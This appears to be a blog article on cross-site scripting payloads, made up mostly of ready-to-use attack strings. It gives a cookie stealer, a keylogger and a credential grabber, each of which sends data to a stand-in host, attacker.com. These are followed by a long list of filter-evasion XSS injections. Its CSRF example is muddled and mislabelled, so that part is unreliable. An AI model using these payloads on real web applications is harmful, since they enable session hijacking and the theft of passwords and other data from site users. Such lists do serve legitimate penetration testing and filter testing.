Cross-site scripting (XSS) payloads are malicious scripts that are designed to exploit vulnerabilities in web applications. These payloads can be injected into web pages and executed by a victim's browser, allowing an attacker to steal sensitive data, hijack user sessions, or perform other malicious actions.
In this article, we'll explore some common types of XSS payloads and how they can be used to exploit vulnerabilities in web applications.
Alert Payloads
Alert payloads are simple scripts that display a pop-up alert message when executed by a victim's browser. While these payloads may seem harmless, they can be used to confirm that an XSS vulnerability exists in a web application and to test the effectiveness of various filters and security measures.
An example of an alert payload is:
<script>alert('XSS Vulnerability Detected!');</script>
Cookie Stealing Payloads
Cookie stealing payloads are designed to steal a victim's session cookies, which can be used to gain unauthorized access to their account. These payloads work by sending the stolen cookies to a remote server controlled by the attacker.
An example of a cookie-stealing payload is:
<script>document.location='http://attacker.com/steal.php?cookie=' + document.cookie;</script>
Keylogger Payloads
Keylogger payloads are designed to capture all keystrokes entered by a victim and send them to a remote server controlled by the attacker. These payloads can be used to steal passwords, credit card numbers, and other sensitive information.
An example of a keylogger payload is:
<script>document.onkeypress=function(){document.location='http://attacker.com/keylogger.php?keystroke=' + String.fromCharCode(event.keyCode);};</script>
Phishing Payloads
Phishing payloads are designed to trick victims into entering their login credentials or other sensitive information into a fake login page. These payloads work by redirecting victims to a page that looks like a legitimate login page but is actually controlled by the attacker.
An example of a phishing payload is:
<script>document.location='http://attacker.com/login.php?username=' + document.getElementById('username').value + '&password=' + document.getElementById('password').value;</script>
Cross-Site Request Forgery (CSRF) Payloads
CSRF payloads are designed to perform actions on behalf of a victim without their knowledge or consent. These payloads work by exploiting a vulnerability in a web application that allows an attacker to inject a request that is automatically executed by the victim's browser.
An example of a CSRF payload is:
<img src='http://attacker.com/transfer.php?amount=1000' onerror='document.getElementById("transferform").submit();'>
XSS Payload List :
"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
<image/src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<image src/onerror=prompt(8)>
<img src/onerror=prompt(8)>
<image src =q onerror=prompt(8)>
<img src =q onerror=prompt(8)>
</scrip</script>t><img src =q onerror=prompt(8)>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
\x3Cscript>javascript:alert(1)</script>
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script charset="\x22>javascript:alert(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
`"'><img src='#\x27 onerror=javascript:alert(1)>
<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:alert(1)// */</script>
<script>/* *\x00/javascript:alert(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
Comments
Post a Comment